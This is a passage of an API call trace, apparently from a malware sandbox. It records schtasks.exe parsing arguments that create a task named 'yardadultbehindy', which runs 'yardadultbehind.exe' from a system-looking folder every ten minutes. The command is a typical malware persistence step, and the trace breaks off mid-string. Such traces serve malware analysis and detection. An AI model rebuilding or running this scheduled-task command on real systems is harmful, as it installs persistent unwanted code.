[0162.542] SetLastError (dwErrCode=0x490) [0162.542] lstrlenW (lpString="showsid") returned 7 [0162.542] lstrlenW (lpString="showsid") returned 7 [0162.542] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.542] GetProcessHeap () returned 0x170000 [0162.542] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c290) returned 1 [0162.542] GetProcessHeap () returned 0x170000 [0162.542] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18c290, Size=0x16) returned 0x18c290 [0162.542] lstrlenW (lpString="tn") returned 2 [0162.542] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.542] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|showsid|") returned 9 [0162.542] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.542] lstrlenW (lpString="|showsid|") returned 9 [0162.542] lstrlenW (lpString="|tn|") returned 4 [0162.542] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0162.542] SetLastError (dwErrCode=0x490) [0162.542] SetLastError (dwErrCode=0x490) [0162.542] SetLastError (dwErrCode=0x0) [0162.542] lstrlenW (lpString="/tn") returned 3 [0162.542] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0162.542] SetLastError (dwErrCode=0x490) [0162.542] SetLastError (dwErrCode=0x0) [0162.543] lstrlenW (lpString="/tn") returned 3 [0162.543] GetProcessHeap () returned 0x170000 [0162.543] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c230 [0162.543] GetProcessHeap () returned 0x170000 [0162.543] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cc40 [0162.543] SetLastError (dwErrCode=0x0) [0162.543] SetLastError (dwErrCode=0x0) [0162.543] lstrlenW (lpString="yardadultbehindy") returned 16 [0162.543] lstrlenW (lpString="-/") returned 2 [0162.543] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0162.543] SetLastError (dwErrCode=0x490) [0162.543] SetLastError (dwErrCode=0x490) [0162.543] SetLastError (dwErrCode=0x0) [0162.543] lstrlenW (lpString="yardadultbehindy") returned 16 [0162.543] StrChrIW (lpStart="yardadultbehindy", wMatch=0x3a) returned 0x0 [0162.543] SetLastError (dwErrCode=0x490) [0162.543] SetLastError (dwErrCode=0x0) [0162.543] lstrlenW (lpString="yardadultbehindy") returned 16 [0162.543] GetProcessHeap () returned 0x170000 [0162.543] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x22) returned 0x18cc70 [0162.543] GetProcessHeap () returned 0x170000 [0162.543] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cca0 [0162.543] SetLastError (dwErrCode=0x0) [0162.543] SetLastError (dwErrCode=0x0) [0162.543] lstrlenW (lpString="/sc") returned 3 [0162.543] lstrlenW (lpString="-/") returned 2 [0162.543] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.543] lstrlenW (lpString="?") returned 1 [0162.543] lstrlenW (lpString="?") returned 1 [0162.543] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.543] lstrlenW (lpString="sc") returned 2 [0162.543] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.544] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|?|") returned 3 [0162.544] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.544] lstrlenW (lpString="|?|") returned 3 [0162.544] lstrlenW (lpString="|sc|") returned 4 [0162.544] SetLastError (dwErrCode=0x490) [0162.544] lstrlenW (lpString="create") returned 6 [0162.544] lstrlenW (lpString="create") returned 6 [0162.544] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.544] lstrlenW (lpString="sc") returned 2 [0162.544] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.544] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.544] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.544] lstrlenW (lpString="|create|") returned 8 [0162.544] lstrlenW (lpString="|sc|") returned 4 [0162.544] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0162.544] SetLastError (dwErrCode=0x490) [0162.544] lstrlenW (lpString="delete") returned 6 [0162.544] lstrlenW (lpString="delete") returned 6 [0162.544] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.544] lstrlenW (lpString="sc") returned 2 [0162.544] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.544] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|delete|") returned 8 [0162.544] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.544] lstrlenW (lpString="|delete|") returned 8 [0162.544] lstrlenW (lpString="|sc|") returned 4 [0162.545] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0162.545] SetLastError (dwErrCode=0x490) [0162.545] lstrlenW (lpString="query") returned 5 [0162.545] lstrlenW (lpString="query") returned 5 [0162.545] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.545] lstrlenW (lpString="sc") returned 2 [0162.545] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.545] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|query|") returned 7 [0162.545] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.545] lstrlenW (lpString="|query|") returned 7 [0162.545] lstrlenW (lpString="|sc|") returned 4 [0162.545] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0162.545] SetLastError (dwErrCode=0x490) [0162.545] lstrlenW (lpString="change") returned 6 [0162.545] lstrlenW (lpString="change") returned 6 [0162.545] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.545] lstrlenW (lpString="sc") returned 2 [0162.545] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.545] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|change|") returned 8 [0162.545] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.545] lstrlenW (lpString="|change|") returned 8 [0162.545] lstrlenW (lpString="|sc|") returned 4 [0162.545] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0162.545] SetLastError (dwErrCode=0x490) [0162.545] lstrlenW (lpString="run") returned 3 [0162.545] lstrlenW (lpString="run") returned 3 [0162.545] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.545] lstrlenW (lpString="sc") returned 2 [0162.545] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.545] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|run|") returned 5 [0162.545] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.546] lstrlenW (lpString="|run|") returned 5 [0162.546] lstrlenW (lpString="|sc|") returned 4 [0162.546] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0162.546] SetLastError (dwErrCode=0x490) [0162.546] lstrlenW (lpString="end") returned 3 [0162.546] lstrlenW (lpString="end") returned 3 [0162.546] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.546] lstrlenW (lpString="sc") returned 2 [0162.546] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.546] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|end|") returned 5 [0162.546] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.546] lstrlenW (lpString="|end|") returned 5 [0162.546] lstrlenW (lpString="|sc|") returned 4 [0162.546] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0162.546] SetLastError (dwErrCode=0x490) [0162.546] lstrlenW (lpString="showsid") returned 7 [0162.546] lstrlenW (lpString="showsid") returned 7 [0162.546] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.546] lstrlenW (lpString="sc") returned 2 [0162.546] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.546] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|showsid|") returned 9 [0162.546] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|sc|") returned 4 [0162.546] lstrlenW (lpString="|showsid|") returned 9 [0162.546] lstrlenW (lpString="|sc|") returned 4 [0162.546] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0162.546] SetLastError (dwErrCode=0x490) [0162.547] SetLastError (dwErrCode=0x490) [0162.547] SetLastError (dwErrCode=0x0) [0162.547] lstrlenW (lpString="/sc") returned 3 [0162.547] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0162.547] SetLastError (dwErrCode=0x490) [0162.547] SetLastError (dwErrCode=0x0) [0162.547] lstrlenW (lpString="/sc") returned 3 [0162.547] GetProcessHeap () returned 0x170000 [0162.547] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c2c0 [0162.547] GetProcessHeap () returned 0x170000 [0162.547] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ccd0 [0162.547] SetLastError (dwErrCode=0x0) [0162.547] SetLastError (dwErrCode=0x0) [0162.547] lstrlenW (lpString="MINUTE") returned 6 [0162.547] lstrlenW (lpString="-/") returned 2 [0162.547] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0162.547] SetLastError (dwErrCode=0x490) [0162.547] SetLastError (dwErrCode=0x490) [0162.547] SetLastError (dwErrCode=0x0) [0162.547] lstrlenW (lpString="MINUTE") returned 6 [0162.547] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0162.547] SetLastError (dwErrCode=0x490) [0162.547] SetLastError (dwErrCode=0x0) [0162.547] lstrlenW (lpString="MINUTE") returned 6 [0162.547] GetProcessHeap () returned 0x170000 [0162.547] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18c2e0 [0162.547] GetProcessHeap () returned 0x170000 [0162.547] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd00 [0162.547] SetLastError (dwErrCode=0x0) [0162.547] SetLastError (dwErrCode=0x0) [0162.547] lstrlenW (lpString="/mo") returned 3 [0162.547] lstrlenW (lpString="-/") returned 2 [0162.547] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.547] lstrlenW (lpString="?") returned 1 [0162.547] lstrlenW (lpString="?") returned 1 [0162.548] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.548] lstrlenW (lpString="mo") returned 2 [0162.548] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.548] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|?|") returned 3 [0162.548] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.548] lstrlenW (lpString="|?|") returned 3 [0162.548] lstrlenW (lpString="|mo|") returned 4 [0162.548] SetLastError (dwErrCode=0x490) [0162.548] lstrlenW (lpString="create") returned 6 [0162.548] lstrlenW (lpString="create") returned 6 [0162.548] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.548] lstrlenW (lpString="mo") returned 2 [0162.548] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.549] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.549] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.549] lstrlenW (lpString="|create|") returned 8 [0162.549] lstrlenW (lpString="|mo|") returned 4 [0162.549] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0162.549] SetLastError (dwErrCode=0x490) [0162.549] lstrlenW (lpString="delete") returned 6 [0162.549] lstrlenW (lpString="delete") returned 6 [0162.549] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.549] lstrlenW (lpString="mo") returned 2 [0162.549] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.549] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|delete|") returned 8 [0162.549] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.549] lstrlenW (lpString="|delete|") returned 8 [0162.549] lstrlenW (lpString="|mo|") returned 4 [0162.549] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0162.549] SetLastError (dwErrCode=0x490) [0162.549] lstrlenW (lpString="query") returned 5 [0162.550] lstrlenW (lpString="query") returned 5 [0162.550] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.550] lstrlenW (lpString="mo") returned 2 [0162.550] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.550] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|query|") returned 7 [0162.550] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.550] lstrlenW (lpString="|query|") returned 7 [0162.550] lstrlenW (lpString="|mo|") returned 4 [0162.550] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0162.550] SetLastError (dwErrCode=0x490) [0162.550] lstrlenW (lpString="change") returned 6 [0162.550] lstrlenW (lpString="change") returned 6 [0162.550] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.550] lstrlenW (lpString="mo") returned 2 [0162.550] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.550] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|change|") returned 8 [0162.550] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.550] lstrlenW (lpString="|change|") returned 8 [0162.550] lstrlenW (lpString="|mo|") returned 4 [0162.550] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0162.550] SetLastError (dwErrCode=0x490) [0162.550] lstrlenW (lpString="run") returned 3 [0162.550] lstrlenW (lpString="run") returned 3 [0162.550] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.550] lstrlenW (lpString="mo") returned 2 [0162.550] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.550] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|run|") returned 5 [0162.550] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.550] lstrlenW (lpString="|run|") returned 5 [0162.550] lstrlenW (lpString="|mo|") returned 4 [0162.550] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0162.551] SetLastError (dwErrCode=0x490) [0162.551] lstrlenW (lpString="end") returned 3 [0162.551] lstrlenW (lpString="end") returned 3 [0162.551] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.551] lstrlenW (lpString="mo") returned 2 [0162.551] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.551] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|end|") returned 5 [0162.551] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.551] lstrlenW (lpString="|end|") returned 5 [0162.551] lstrlenW (lpString="|mo|") returned 4 [0162.551] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0162.551] SetLastError (dwErrCode=0x490) [0162.551] lstrlenW (lpString="showsid") returned 7 [0162.551] lstrlenW (lpString="showsid") returned 7 [0162.551] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.551] lstrlenW (lpString="mo") returned 2 [0162.551] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.551] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|showsid|") returned 9 [0162.551] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|mo|") returned 4 [0162.551] lstrlenW (lpString="|showsid|") returned 9 [0162.551] lstrlenW (lpString="|mo|") returned 4 [0162.551] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0162.551] SetLastError (dwErrCode=0x490) [0162.551] SetLastError (dwErrCode=0x490) [0162.551] SetLastError (dwErrCode=0x0) [0162.551] lstrlenW (lpString="/mo") returned 3 [0162.551] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0162.551] SetLastError (dwErrCode=0x490) [0162.551] SetLastError (dwErrCode=0x0) [0162.551] lstrlenW (lpString="/mo") returned 3 [0162.551] GetProcessHeap () returned 0x170000 [0162.551] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c300 [0162.551] GetProcessHeap () returned 0x170000 [0162.552] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd30 [0162.552] SetLastError (dwErrCode=0x0) [0162.552] SetLastError (dwErrCode=0x0) [0162.552] lstrlenW (lpString="10") returned 2 [0162.552] lstrlenW (lpString="-/") returned 2 [0162.552] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0162.552] SetLastError (dwErrCode=0x490) [0162.552] SetLastError (dwErrCode=0x490) [0162.552] SetLastError (dwErrCode=0x0) [0162.552] lstrlenW (lpString="10") returned 2 [0162.552] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0162.552] SetLastError (dwErrCode=0x490) [0162.552] SetLastError (dwErrCode=0x0) [0162.552] lstrlenW (lpString="10") returned 2 [0162.552] GetProcessHeap () returned 0x170000 [0162.552] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x6) returned 0x18c320 [0162.552] GetProcessHeap () returned 0x170000 [0162.552] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd60 [0162.552] SetLastError (dwErrCode=0x0) [0162.552] SetLastError (dwErrCode=0x0) [0162.552] lstrlenW (lpString="/tr") returned 3 [0162.552] lstrlenW (lpString="-/") returned 2 [0162.552] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.552] lstrlenW (lpString="?") returned 1 [0162.552] lstrlenW (lpString="?") returned 1 [0162.552] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.552] lstrlenW (lpString="tr") returned 2 [0162.552] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.552] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|?|") returned 3 [0162.552] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.552] lstrlenW (lpString="|?|") returned 3 [0162.552] lstrlenW (lpString="|tr|") returned 4 [0162.553] SetLastError (dwErrCode=0x490) [0162.553] lstrlenW (lpString="create") returned 6 [0162.553] lstrlenW (lpString="create") returned 6 [0162.553] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.553] lstrlenW (lpString="tr") returned 2 [0162.553] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.553] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.553] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.553] lstrlenW (lpString="|create|") returned 8 [0162.553] lstrlenW (lpString="|tr|") returned 4 [0162.553] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0162.553] SetLastError (dwErrCode=0x490) [0162.553] lstrlenW (lpString="delete") returned 6 [0162.553] lstrlenW (lpString="delete") returned 6 [0162.553] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.553] lstrlenW (lpString="tr") returned 2 [0162.553] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.553] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|delete|") returned 8 [0162.553] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.553] lstrlenW (lpString="|delete|") returned 8 [0162.553] lstrlenW (lpString="|tr|") returned 4 [0162.553] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0162.553] SetLastError (dwErrCode=0x490) [0162.553] lstrlenW (lpString="query") returned 5 [0162.553] lstrlenW (lpString="query") returned 5 [0162.553] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.553] lstrlenW (lpString="tr") returned 2 [0162.553] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.553] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|query|") returned 7 [0162.553] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.554] lstrlenW (lpString="|query|") returned 7 [0162.554] lstrlenW (lpString="|tr|") returned 4 [0162.554] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0162.554] SetLastError (dwErrCode=0x490) [0162.554] lstrlenW (lpString="change") returned 6 [0162.554] lstrlenW (lpString="change") returned 6 [0162.554] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.554] lstrlenW (lpString="tr") returned 2 [0162.554] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.554] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|change|") returned 8 [0162.554] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.554] lstrlenW (lpString="|change|") returned 8 [0162.554] lstrlenW (lpString="|tr|") returned 4 [0162.554] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0162.554] SetLastError (dwErrCode=0x490) [0162.554] lstrlenW (lpString="run") returned 3 [0162.554] lstrlenW (lpString="run") returned 3 [0162.554] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.554] lstrlenW (lpString="tr") returned 2 [0162.554] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.554] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|run|") returned 5 [0162.554] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.554] lstrlenW (lpString="|run|") returned 5 [0162.554] lstrlenW (lpString="|tr|") returned 4 [0162.554] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0162.554] SetLastError (dwErrCode=0x490) [0162.554] lstrlenW (lpString="end") returned 3 [0162.554] lstrlenW (lpString="end") returned 3 [0162.554] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.554] lstrlenW (lpString="tr") returned 2 [0162.554] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.555] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|end|") returned 5 [0162.555] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.555] lstrlenW (lpString="|end|") returned 5 [0162.555] lstrlenW (lpString="|tr|") returned 4 [0162.555] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0162.555] SetLastError (dwErrCode=0x490) [0162.555] lstrlenW (lpString="showsid") returned 7 [0162.555] lstrlenW (lpString="showsid") returned 7 [0162.555] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.555] lstrlenW (lpString="tr") returned 2 [0162.555] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.555] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|showsid|") returned 9 [0162.555] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tr|") returned 4 [0162.555] lstrlenW (lpString="|showsid|") returned 9 [0162.555] lstrlenW (lpString="|tr|") returned 4 [0162.555] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0162.555] SetLastError (dwErrCode=0x490) [0162.555] SetLastError (dwErrCode=0x490) [0162.555] SetLastError (dwErrCode=0x0) [0162.555] lstrlenW (lpString="/tr") returned 3 [0162.555] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0162.555] SetLastError (dwErrCode=0x490) [0162.555] SetLastError (dwErrCode=0x0) [0162.555] lstrlenW (lpString="/tr") returned 3 [0162.555] GetProcessHeap () returned 0x170000 [0162.555] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x8) returned 0x18c340 [0162.555] GetProcessHeap () returned 0x170000 [0162.555] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd90 [0162.555] SetLastError (dwErrCode=0x0) [0162.555] SetLastError (dwErrCode=0x0) [0162.556] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.556] lstrlenW (lpString="-/") returned 2 [0162.556] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0162.556] SetLastError (dwErrCode=0x490) [0162.556] SetLastError (dwErrCode=0x490) [0162.556] SetLastError (dwErrCode=0x0) [0162.556] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0162.556] StrChrIW (lpStart="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'", wMatch=0x3a) returned=":\\Program Files\\Windows 